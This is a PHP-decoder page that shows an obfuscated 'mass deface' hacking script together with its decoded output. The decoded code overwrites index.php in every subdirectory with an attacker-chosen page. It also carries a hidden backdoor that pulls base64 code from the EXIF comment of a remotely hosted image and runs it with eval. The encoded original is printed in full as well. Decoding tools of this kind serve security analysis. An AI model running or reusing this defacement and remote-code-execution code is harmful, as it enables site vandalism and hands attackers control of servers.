Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php //mass deface // recoded shutdown57 eval(str_rot13(gzinflate(base64_decode("rVV..
Decoded Output download
echo' <link rel="SHORTCUT ICON" href="http://pesantrencilikindonesia.com/images/logo.png" type="image">
<link href="http://fonts.googleapis.com/css?family=Iceland" rel="stylesheet" type="text/css">
<link href="http://fonts.googleapis.com/css?family=Orbitron" rel="stylesheet" type="text/css">
<title>MaSs Deface </title>
<center><img src= "http://pesantrencilikindonesia.com/images/logo.png" width="320"></center>
<center><font color="white" face="Orbitron"><b>Mass Defacement</td></b></center>';
error_reporting(0);
$BASED = exif_read_data("https://lh3.googleusercontent.com/-svRm4i5Bs90/VsFaosQPKUI/AAAAAAAABew/03oHWkCEsN8/w140-h140-p/pacman.jpg");
eval(base64_decode($BASED["COMPUTED"]["UserComment"]));
echo "<center><textarea rows='10' cols='100' style='background:#000;color:#81f00;border:1px solid #df5;'><!-- WithOutShadow-->";
$defaceurl = $_POST['massdefaceurl'];
$dir = $_POST['massdefacedir'];
echo $dir."
";
if (is_dir($dir)) {
if ($dh = opendir($dir)) {
while (($file = readdir($dh)) !== false) {
if(filetype($dir.$file)=="dir"){
$newfile=$dir.$file."/index.php";
echo $newfile."
";
if (!copy($defaceurl, $newfile)) {
echo "failed to copy $file...
";
}
}
}
closedir($dh);
}
}
echo'
</textarea></center>
<font color="#df5">
<body bgcolor="#000">
<font face="Iceland">
<br>
<form action='. basename($_SERVER['PHP_SELF']) .' method=\'post\'>
[+] Main Directory: <input type=\'text\' style=\'width: 250px;background:#000;color:#df5;border:1px solid #eee;\' value='.getcwd() .' name=\'massdefacedir\'>
<br><br>
[+] Defacement Url: <input type=\'text\' style=\'width: 250px;background:#000;color:#eee;border:1px solid #df5;\' name=\'massdefaceurl\' placeholder=\'http://deface.com/index.html\'>
<input type=\'submit\' name=\'execmassdeface\' value=\'>>>\' style=\'color:#81ff00;border:0;background:#333;\'></
</body></html>
<center>
$ip = '.$_SERVER['REMOTE_ADDR'].'
echo "Your IP : " . $ip;
<font> | </font>
$server = '.$_SERVER['SERVER_ADDR'].'
server IP: '.$server.'';
Did this file decode correctly?
Original Code
<?php
//mass deface
// recoded shutdown57
eval(str_rot13(gzinflate(base64_decode("rVVtb+I4EP5eqf/BdZECuiVJl/a0B4TVwkG7q1NbWLW6a0EojmxTQCYZiK/J3f73Gzu87nZftDojEWdeHj8znplAnDKHNDMdPhMOWUB7d+3u5e3VJbm/bb+jJOWwDGgqZVT3vAiECiWHMNaZftZhwkIQWrkxyz2dqxUIL2Mr5kbhihI5jyCgVkxbx0fFEQdwSxZK4a4YW2WgIi0sTizE26XKdTYP7mPIVJjQgpiQ8wxECiA32BJm0tj/JHybL7TkLPwhfDxBaplB60H1BOnDUsVAml4hQ2UMoQTeaup8RQSPA/JTOZvqRKYBrb32aavprTH30E1IJGYZ4wGdploCJYZIQLextJoLpCg2FHN0RJYJoi12iE7j+Ag4Z3zMIWJc6nBV9isoLN1c9wZ9EhCY6SUqVTJOlFRlG4zAaLK0ts7oRACPkQ4i2liq4qmbn+uLG/Gb770XHxUTv3f+vLr3rtfrBqaeX2N3H55vB+LdG296du5XU/MXeZGKcxW6f0cramjAk8rKCyXg1/NxAjFLoFwwe6S37YfO1eWgT0eP9Aop3LLcxEhHFeuI1UzoNl3mAhVGQTibisA58x2TPLvDrb3wwFmo+HnF2SRM6qe+7zdseuunb86W+LJgPAFeP4tmRLBMJ+Q0WV40nFbzpFolH7RM2xPZS1XCptVqi5oMJjbvE55hFkvjTrt3+ejkeCFbuTOyZpq/aIBya2AjMVYuHYYGmBwf6SUpazFGYdloKhXyD8pxGUUpSRGQRRB+qTcLyyUDUi6XluYZEHO5hWWKhidBgJWUCTjw+XzpZdl4m+6wJ7gWrBIEFF9o5Ruem1UKYWp8gp27Sz3sCpi5URrZQL+zisyscbbZ+c4yGTqJWTQv7y7o1Ral8s2oXyRAlwodEyIZMbCkCMV1f4zOp6+b7Kn2tnHGBGyua30Aqj8VheLgiPA2xX4wOPYHhildOyoXLJmTxWojxqKnW9tinGwmr7VeA/GcqFhqFgaOS0xzhirHMhj3Bt33g+6j07nr4P6vj86oQlyH5CBTlgRDJ2JCDh3EePxlRB6UDklfc4gl4/M6aeowmshi3g4dE8Jw05hDx07DOnl94Uezxlfa1LTjl00KAA0EwjEywQ53VyDjaVK2vAxrxD7oOEvPBFoEa4juxie54tn/QNRQenmaDF8gheWJ4ijDbcoydELt+oNSGBTfD9s3qcyzIoIDjmKyyLXcgcMM4t0B2+ygZ6u1F8tu/O3NP/8gqlqthqSxzkzZmWLCrSFRfCa3xWd+JR3hrHHcXZl0Bw/ty8H4ut/vOiPXMUZFQ/3BJpzcd0idUOISdGxYOFOVLfIvfmvtzoLi3H8C/hlw8dwDXlvdd+rGrnhzHadRMDs++g8="))));
?>
Function Calls
| gzinflate | 1 |
| str_rot13 | 1 |
| base64_decode | 1 |
Stats
| MD5 | b70adc2d91fd9c623eb2185a4f24504f |
| Eval Count | 1 |
| Decode Time | 84 ms |